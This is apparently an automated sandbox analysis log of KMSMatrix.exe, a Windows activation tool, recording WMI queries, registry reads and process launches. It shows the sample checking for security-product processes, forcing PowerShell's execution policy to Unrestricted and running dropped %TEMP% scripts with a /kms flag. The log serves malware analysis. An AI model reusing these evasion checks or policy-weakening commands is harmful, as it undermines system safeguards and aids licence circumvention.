LicenseIsAddon, Description, Name, ProductKeyID, ProductKeyChannel, OfflineInstallationId, ProcessorURL, MachineURL, UseLicenseURL, ProductKeyURL, ValidationURL, GracePeriodRemaining, LicenseStatus, LicenseStatusReason, EvaluationEndDate, VLRenewalInterval, VLActivationInterval, KeyManagementServiceLookupDomain, KeyManagementServiceMachine, KeyManagementServicePort, DiscoveredKeyManagementServiceMachineName, DiscoveredKeyManagementServiceMachinePort, DiscoveredKeyManagementServiceMachineIpAddress, KeyManagementServiceProductKeyID,TokenActivationILID, TokenActivationILVID, TokenActivationGrantNumber,TokenActivationCertificateThumbprint, TokenActivationAdditionalInfo, TrustedTime,ADActivationObjectName, ADActivationObjectDN, ADActivationCsvlkPid, ADActivationCsvlkSkuId, VLActivationTypeEnabled, VLActivationType,IAID, AutomaticVMActivationHostMachineName, AutomaticVMActivationLastActivationTime, AutomaticVMActivationHostDigitalPid2 FROM SoftwareLicensingProduct WHERE id = '49cd895b-53b2-4dc4-a5f7-b18aa019ad37'" "cscript.exe" issued a query "SELECT IsKeyManagementServiceMachine, KeyManagementServiceCurrentCount, KeyManagementServiceTotalRequests, KeyManagementServiceFailedRequests, KeyManagementServiceUnlicensedRequests, KeyManagementServiceLicensedRequests, KeyManagementServiceOOBGraceRequests, KeyManagementServiceOOTGraceRequests, KeyManagementServiceNonGenuineGraceRequests, KeyManagementServiceNotificationRequests FROM SoftwareLicensingProduct WHERE id = '49cd895b-53b2-4dc4-a5f7-b18aa019ad37'" "cmd.exe" issued a query "SELECT caption FROM Win32_OperatingSystem" "WMIC.exe" issued a query "SELECT Day, Month, Year FROM win32_LocalTime" "tasklist.exe" issued a query "SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process WHERE Caption = 'SBIESVC.EXE'" "tasklist.exe" issued a query "SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process WHERE Caption = 'EKRN.EXE'" "tasklist.exe" issued a query "SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process WHERE Caption = 'QHACTIVEDEFENSE.EXE'" "WMIC.exe" issued a query "SELECT caption FROM Win32_OperatingSystem"3f:Tc41,"powershell.exe" (Access type: "QUERY"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES"; Key: ""; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "ENABLEDHCP"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "SEARCHLIST"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "REGISTRATIONENABLED"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "REGISTERADAPTERNAME"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "DOMAIN"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "DHCPDOMAIN"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "NAMESERVER"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "PROFILENAMESERVER"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "DHCPNAMESERVER"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "SEARCHLIST"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "REGISTRATIONENABLED"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "REGISTERADAPTERNAME"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "DOMAIN"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "DHCPDOMAIN"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "NAMESERVER"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "PROFILENAMESERVER"; Value: "")40:T1130,"KMSMatrix.exe" queries volume information of "C:\KMSMatrix.exe" at 00000000-00002616-00000C15-39147028 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00006552-00000C15-45803442 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll" at 00000000-00006552-00000C15-45853721 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll" at 00000000-00006552-00000C15-46246876 "powershell.exe" queries volume information of "C:\" at 00000000-00006552-00000C15-46522075 "powershell.exe" queries volume information of "C:\share" at 00000000-00006552-00000C15-46523429 "powershell.exe" queries volume information of "C:\share" at 00000000-00006552-00000C15-46569612 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00006552-00000C15-47114942 "cmd.exe" queries volume information of "C:\" at 00000000-00008068-00000C15-49381214 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00001580-00000C15-51472993 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll" at 00000000-00001580-00000C15-51478187 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll" at 00000000-00001580-00000C15-52364857 "powershell.exe" queries volume information of "C:\" at 00000000-00001580-00000C15-52969107 "powershell.exe" queries volume information of "C:\share" at 00000000-00001580-00000C15-52970337 "powershell.exe" queries volume information of "C:\share" at 00000000-00001580-00000C15-53096841 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00001580-00000C15-54019549 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00001580-00000C15-54260096 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00001580-00000C15-54354518 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00001580-00000C15-54406058 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll" at 00000000-00001580-00000C15-67729099 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_64\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll" at 00000000-00001580-00000C15-67834859 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll" at 00000000-00005180-00000C15-80033262 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00005180-00000C15-80442416 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll" at 00000000-00005180-00000C15-80731147 "powershell.exe" queries volume information of "C:\" at 00000000-00005180-00000C15-8099970541:Ta03,"powershell.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CERTIFICATES"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CRLS"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CTLS"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE\CERTIFICATES"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE\CRLS"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE\CTLS"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE"; Key: "")42:T50b,"powershell.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\AUTHROOT\AUTOUPDATE"; Key: "DISALLOWEDCERTSYNCDELTATIME") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\104C63D2546B8021DD105E9FBA5A8D78169F6B32"; Key: "BLOB") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\247106A405B288A46E70A0262717162D0903E734"; Key: "BLOB") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\27AC9369FAF25207BB2627CEFACCBE4EF9C319B8"; Key: "BLOB") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\339CDD57CFD5B141169B615FF31428782D1DA639"; Key: "BLOB") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\4C27431717565A3A07F3E6D0032C4258949CF9EC"; Key: "BLOB") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\525C47FB3A5E0655FBD4BE963CA1E94D5FECB43D"; Key: "BLOB") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\5AEAEE3F7F2A9449CEBAFEEC68FDD184F20124A7"; Key: "BLOB")43:T900,"KMSMatrix.exe" called "CreateProcessW" with parameter ""%TEMP%\inf.cmd"" - (UID: 00000000-00002616) "KMSMatrix.exe" called "CreateProcessW" with parameter ""%WINDIR%\System32\WindowsPowerShell\v1.0\powershell.exe" & Set-ExecutionPolicy Unrestricted -Force" - (UID: 00000000-00002616) "KMSMatrix.exe" called "CreateProcessW" with parameter ""%TEMP%\m_srv.cmd" /kms" - (UID: 00000000-00002616) "KMSMatrix.exe" called "CreateProcessW" with parameter ""%WINDIR%\System32\WindowsPowerShell\v1.0\powershell.exe" & \"%TEMP%\s_w.ps1\"" - (UID: 00000000-00002616) "KMSMatrix.exe" called "CreateProcessW" with parameter ""%TEMP%\s_o.cmd"" - (UID: 00000000-00002616) "cmd.exe" called "CreateProcessW" with parameter "timeout /t 5" - (UID: 00000000-00006600) "cmd.exe" called "CreateProcessW" with parameter "findstr /rxc:".*" "m_srv.cmd"" - (UID: 00000000-00008068) "cmd.exe" called "CreateProcessW" with parameter "%WINDIR%\system32\cmd.exe /S /D /c" echo "/kms" "" - (UID: 00000000-00008068) "cmd.exe" called "CreateProcessW" with parameter "find /i "/"" - (UID: 00000000-00008068) "cmd.exe" called "CreateProcessW" with parameter "%WINDIR%\system32\cmd.exe /c ver" - (UID: 00000000-00008068) "cmd.exe" called "CreateProcessW" with parameter "reg query "HKCU\Console" /v ForceV2" - (UID: 00000000-00008068) "cmd.exe" called "CreateProcessW" with parameter "find /i "0x0"" - (UID: 00000000-00008068) "cmd.exe" called "CreateProcessW" with parameter "%WINDIR%\system32\cmd.exe /c echo prompt $E | cmd" - (UID: 00000000-00008068) "cmd.exe" called "CreateProcessW" with parameter "%WINDIR%\system32\cmd.exe /S /D /c" echo "%TEMP%\m_srv.cmd" "" - (UID: 00000000-00008068) "cmd.exe" called "CreateProcessW" with parameter "find /i "%TEMP%\" - (UID: 00000000-00008068), "cmd.exe" called "CreateProcessW" with parameter "fltmc" - (UID: 00000000-00008068), "cmd.exe" called "CreateProcessW" with parameter "find /i "/S"" - (UID: 00000000-00008068), "cmd.exe" called "CreateProcessW" with parameter "find /i "/act-"" - (UID: 00000000-00008068), "cmd.exe" called "CreateProcessW" with parameter "find /i "/kms"" - (UID: 00000000-00008068), "cmd.exe" called "CreateProcessW" with parameter "%WINDIR%\system32\cmd.exe /c wmic path win32_LocalTime Get Day Month Year /value" - (UID: 00000000-00008068)44:Tf7d6,"KMSMatrix.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00002616) "KMSMatrix.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00002616) "KMSMatrix.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00002616) "KMSMatrix.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00002616) "KMSMatrix.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00002616) "KMSMatrix.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll (UID: 00000000-00002616) "KMSMatrix.exe" called "LoadLibrary" with a parameter SHLWAPI.dll (UID: 00000000-00002616) "KMSMatrix.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2.dll (UID: 00000000-00002616) "KMSMatrix.exe" called "LoadLibrary" with a parameter VERSION.dll (UID: 00000000-00002616) "KMSMatrix.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clr.dll (UID: 00000000-00002616) "KMSMatrix.exe" called "LoadLibrary" with a parameter USER32.dll (UID: 00000000-00002616) "KMSMatrix.exe" called "LoadLibrary" with a parameter api-ms-win-core-quirks-l1-1-0.dll (UID: 00000000-00002616) "KMSMatrix.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll (UID: 00000000-00002616) "KMSMatrix.exe" called "LoadLibrary" with a parameter mscoree.dll (UID: 00000000-00002616) "KMSMatrix.exe" called "LoadLibrary" with a parameter ntdll (UID: 00000000-00002616) "KMSMatrix.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\combase.dll (UID: 00000000-00002616) "KMSMatrix.exe" called "LoadLibrary" with a parameter psapi.dll (UID: 00000000-00002616) "KMSMatrix.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\mscorlib\fe2524177eb3088c77be666722039f52\mscorlib.ni.dll (UID: 00000000-00002616) "KMSMatrix.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\ole32.dll (UID: 00000000-00002616) "KMSMatrix.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00002616) "KMSMatrix.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00002616) "KMSMatrix.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00002616) "KMSMatrix.exe" called "LoadLibrary" with a parameter api-ms-win-core-xstate-l2-1-0.dll (UID: 00000000-00002616) "KMSMatrix.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll (UID: 00000000-00002616) "KMSMatrix.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System\e43dd9c73ab5615e461bf5109c3facd6\System.ni.dll (UID: 00000000-00002616) "KMSMatrix.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Drawing\ece80f2e3752a779e894fd45d8f27e64\System.Drawing.ni.dll (UID: 00000000-00002616) "KMSMatrix.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Windows.Forms\b138f79dea860272ebe6694d9b73f656\System.Windows.Forms.ni.dll (UID: 00000000-00002616) "KMSMatrix.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00002616) "KMSMatrix.exe" called "LoadLibrary" with a parameter advapi32.dll (UID: 00000000-00002616) "KMSMatrix.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en-US\mscorrc.dll (UID: 00000000-00002616) "KMSMatrix.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en\mscorrc.dll (UID: 00000000-00002616) "KMSMatrix.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll (UID: 00000000-00002616) "KMSMatrix.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\uxtheme.dll (UID: 00000000-00002616) "KMSMatrix.exe" called "LoadLibrary" with a parameter uxtheme.dll (UID: 00000000-00002616) "KMSMatrix.exe" called "LoadLibrary" with a parameter user32.dll (UID: 00000000-00002616) "KMSMatrix.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Core\0d59b0e237d7519417de10cd84bda4e7\System.Core.ni.dll (UID: 00000000-00002616) "KMSMatrix.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Configuration\4beb1eeca20b27d4bd1bb9880f03cc2a\System.Configuration.ni.dll (UID: 00000000-00002616) "KMSMatrix.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Xml\5ee35debfc22f727e70e4479ddcbc045\System.Xml.ni.dll (UID: 00000000-00002616) "KMSMatrix.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00002616) "KMSMatrix.exe" called "LoadLibrary" with a parameter shell32.dll (UID: 00000000-00002616) "KMSMatrix.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll (UID: 00000000-00002616) "KMSMatrix.exe" called "LoadLibrary" with a parameter bcrypt.dll (UID: 00000000-00002616) "KMSMatrix.exe" called "LoadLibrary" with a parameter imm32.dll (UID: 00000000-00002616) "KMSMatrix.exe" called "LoadLibrary" with a parameter comctl32.dll (UID: 00000000-00002616) "KMSMatrix.exe" called "LoadLibrary" with a parameter gdi32.dll (UID: 00000000-00002616) "KMSMatrix.exe" called "LoadLibrary" with a parameter gdiplus.dll (UID: 00000000-00002616) "KMSMatrix.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\winmm.dll (UID: 00000000-00002616) "KMSMatrix.exe" called "LoadLibrary" with a parameter winmm.dll (UID: 00000000-00002616) "KMSMatrix.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\comctl32.dll (UID: 00000000-00002616) "KMSMatrix.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll (UID: 00000000-00002616) "KMSMatrix.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll (UID: 00000000-00002616) "KMSMatrix.exe" called "LoadLibrary" with a parameter oleaut32.dll (UID: 00000000-00002616) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00006600) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00006600) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00006600) "cmd.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00006600) "timeout.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00005476) "timeout.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00005476) "timeout.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00005476) "timeout.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00005476) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00006552) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00006552) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00006552) "powershell.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00006552) "powershell.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00006552) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll (UID: 00000000-00006552) "powershell.exe" called "LoadLibrary" with a parameter SHLWAPI.dll (UID: 00000000-00006552) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2.dll (UID: 00000000-00006552) "powershell.exe" called "LoadLibrary" with a parameter VERSION.dll (UID: 00000000-00006552) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clr.dll (UID: 00000000-00006552) "powershell.exe" called "LoadLibrary" with a parameter USER32.dll (UID: 00000000-00006552) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-quirks-l1-1-0.dll (UID: 00000000-00006552) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll (UID: 00000000-00006552) "powershell.exe" called "LoadLibrary" with a parameter mscoree.dll (UID: 00000000-00006552) "powershell.exe" called "LoadLibrary" with a parameter ntdll (UID: 00000000-00006552) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\combase.dll (UID: 00000000-00006552) "powershell.exe" called "LoadLibrary" with a parameter psapi.dll (UID: 00000000-00006552) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\mscorlib\fe2524177eb3088c77be666722039f52\mscorlib.ni.dll (UID: 00000000-00006552) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\ole32.dll (UID: 00000000-00006552) "powershell.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00006552) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00006552) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00006552) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll (UID: 00000000-00006552) "powershell.exe" called "LoadLibrary" with a parameter oleaut32.dll (UID: 00000000-00006552) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System\e43dd9c73ab5615e461bf5109c3facd6\System.ni.dll (UID: 00000000-00006552) "powershell.exe" called "LoadLibrary" with a parameter 